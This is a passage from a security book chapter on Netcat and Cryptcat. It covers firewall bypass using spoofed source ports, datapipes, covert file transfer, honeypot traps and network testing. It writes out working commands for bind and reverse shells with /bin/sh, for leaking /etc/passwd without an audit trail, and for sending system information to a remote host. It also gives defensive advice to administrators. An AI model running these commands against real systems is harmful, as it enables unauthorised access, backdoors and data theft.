Using this feature requires a bit of scripting knowledge. Because Netcat's `-e` option takes only a single command (with no command-line arguments), you need to package any and all commands you want to run into a script. You can get pretty fancy with this, creating a relay that spans several different hosts. The technique can be used to create a complex "tunnel," allowing hackers to make it harder for system administrators to track them down.

The feature can be used for good as well. For example, the relay feature could allow Netcat to proxy Web pages. Have it listen on port 80 on a different box, and let it make all your Web connections for you (using a script) and pass them through.

Getting Around Port Filters

If you were a hacker, Netcat could be used to help you bypass firewalls. Masquerading disallowed traffic as allowed traffic is the only way to get around firewalls and port filters.

Some firewalls allow incoming traffic from a source port of 20 with a high destination port on the internal network to allow FTP. Launching an attack using `nc -p 20 targethost 6000` *may* allow you access to `targethost`'s X server if the firewall is badly configured. It might assume your connection is incoming FTP data and let you through. You most likely will be able to access only a certain subset of ports. Most firewall admins explicitly eliminate the port 6000 range from allowable ports in these scenarios, but you may still be able to find other services above 1024 that you can talk to when coming from a source port of 20.

DNS has similar issues. Almost all firewalls have to allow outgoing DNS but not necessarily incoming DNS. If you're behind a firewall that allows both, you can use this fact to get disallowed traffic through a firewall by giving it a source port of 53. From behind the firewall, running `nc -p 53 targethost 9898` might allow you to bypass a filter that would normally block outgoing America Online (AOL) Instant Messenger traffic. You'd have to get tricky with this, but you can see how Netcat can exploit loosely written firewall rules.

System administrators will want to check for particular holes like this. For starters, you can usually deny any DNS TCP traffic, which will shut down a lot of the DNS port filter problems. Forcing users to use passive FTP, which doesn't require the server to initiate a connection back to the client on TCP port 20, allows you to eliminate that hole.

Building a Datapipe: Make Your Own FTP

Netcat lets you build datapipes. What benefits does this provide?

File Transfers Through Port Filters By putting input and output files on each end of the datapipe, you can effectively send or copy a file from one network location to another without using any kind of "official" file transfer protocol. If you have shell access to a box but are unable to initiate any kind of file transfer to the box because port filters are blocking FTP, NFS (Network File System), and Samba shares, you have an alternative. On the side where the original file lives, run this:

```
nc –l –u –p 55555 < file_we_want
```

And from the client, try:

```
nc –u –targethost 55555 > copy_of_file
```

Making the connection will immediately transfer the file. Kick out with an EOF (CTRL-C) and your file should be intact.

Covert File Transfers Hackers can use Netcat to transfer files off the system without creating any kind of audit trail. Where FTP or Secure Copy (scp) might leave logs, Netcat won't.

```
nc –l –u –p 55555 < /etc/passwd
```

When the hacker connects to that UDP port, he grabs the /etc/passwd file without anyone knowing about it (unless he was unfortunate enough to run it just as the sysadmin was running a `ps` (process states) or a `netstat` command).

Grab Application Output Let's put you back in the hacker's shoes again. Let's say you've written a script that types some of the important system files to standard output (passwd, group, inetd.conf, hosts.allow, and so on) and runs a few system commands to gather information (`uname`, `ps`, `netstat`). Let's call this script "sysinfo." On the target you can do one of the following:

```
nc –l –u –p 55555 –e sysinfo
```

or

```
sysinfo | nc –l –u –p 55555
```

You can grab the output of the command and write it to a file called sysinfo.txt by using:

```
nc –u target 55555 > sysinfo.txt
```

What's the difference? Both commands take the output of the sysinfo script and pipe it into the listening Netcat so that it sends that data over the network pipe to whoever connects. The `-e` option "hands over" I/O to the application it executes. When sysinfo is done with its I/O (at EOF), the listener closes and so does the client on the other end. If sysinfo is piped in, the output from sysinfo still travels over to the client, but Netcat still handles the I/O. The client side will not receive an EOF and will wait to see whether the listener has anything more to send.

The same thing can be said for a reverse example. What if you were on the target machine and wanted to initiate a connection to a Netcat listener on your homehost? If Netcat is listening on homehost after running the command `nc -l -u -p 55555 > sysinfo.txt`, you again have two options:

```
nc -u -e sysinfo homehost 55555
```

or

```
sysinfo | nc -u homehost 55555
```

TIP

On Unix systems, if the command you want to run with `-e` isn't located in your current working directory when you start Netcat, you'll need to specify the full path to the command. Windows Netcat can still make use of the %PATH% variable and doesn't have this limitation.

The difference again is that using the pipe will have the client remain open even after sysinfo is done sending its output. Using the `-e` option will have the Netcat client close immediately after sysinfo is finished. The distinction between these two modes becomes extremely apparent when you actually want to run an application on a remote host and do the I/O *through* a Netcat datapipe (as in the "Obtaining Remote Access to a Shell" section).

Grab Application Control In the "Obtaining Remote Access to a Shell" section, we described how to start a remote shell on a Windows machine. The same can be done on a Unix box:

```
nc -u -l -p 55555 -e /bin/sh
```

Connect using `nc -u targethost 55555`. The shell (/bin/sh) starts up and lets you interact with that shell over the pipe. The `-e` option gives I/O control completely to the shell. Keep in mind that this command would need to be part of an endless *while* loop in a script if you wanted this backdoor to remain open after you exited the shell. Upon exiting the shell, Netcat would close on both sides as soon as /bin/sh finished. The Netcat version for Windows gets around this caveat with the `-L` option.

Just as you could in the previous example, you could send the I/O control of a local application to a listening Netcat (`nc -u -l -p 55555`) instance by typing the following:

```
nc -u -e /bin/sh homehost 55555
```

And you can do this with any interactive application that works on a text-only basis without any fancy terminal options (the vi text editor won't work well, for example).

TIP You probably don't want to use a telnet client to connect to your listening Netcat, as the telnet options can seriously mess up the operation of your shell. Use Netcat in client mode to connect instead.

Setting a Trap

This one can be an amusing deterrent to would-be hackers. By running an instance of a listening Netcat on a well-known port where a hacker might be expecting to find a vulnerable service, you can mislead the hacker into thinking you're running something you're not. If you set it up carefully, you might even be able to trap the hacker.

```
[root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt
```

Your fakemail script might echo some output to tell the world it's running a "swiss-cheese" version of sendmail and practically beg a script kiddy to come hack it. Upon connection termination (EOF), your script would need to restart the same Netcat command. But if someone started getting too nosey, your script could use the `yes` command to flood your attacker with whatever garbage you like. Even if you prefer to be more subtle, you can at least get a list of IP addresses that messed with you in traplog.txt.

Testing Networking Equipment

We won't spend too much time here. You can use Netcat to set up listeners on one end of a network and attempt to connect to them from the other end. You can test many network devices (routers, firewalls, and so on) for connectivity by seeing what kinds of traffic you can pass. And since Netcat lets you spoof your source IP address, you can even check IP-based firewall rules so you don't spend any more time wondering if your firewall is actually doing what it's supposed to.

You can also use the `-g` option to attempt source routing against your network. Most network devices should be configured to ignore source-routing options as their use is almost never legitimate.

Create Your Own!

The Netcat source tarball comes with several shell scripts and C programs that demonstrate even more possible uses for Netcat. With some programming experience, you can

get even more mileage out of Netcat. Take a look at the README file as well as some of the examples in the "data" and "scripts" subdirectories. They might get you thinking about some other things you can do.

CRYPTCAT

Cryptcat is exactly what it sounds like: *Netcat with encryption*. Now you can encrypt that datapipe, proxy, or relay. Hackers can keep their Netcat traffic hidden so that nosey admins would have to do more than just sniff the network to find out what they were up to.

Cryptcat uses an enhanced version of Twofish encryption. The command-line arguments are the same. Obviously Cryptcat isn't terribly useful for port scanning and communicating with other services that don't use the same encryption used by Cryptcat. But if your Netcat usage includes an instance of Netcat running somewhere in listen mode and a separate instance of Netcat being used to connect to it, Cryptcat gives you the added benefit of securing that connection.

You can download Cryptcat from *http://farm9.com/*.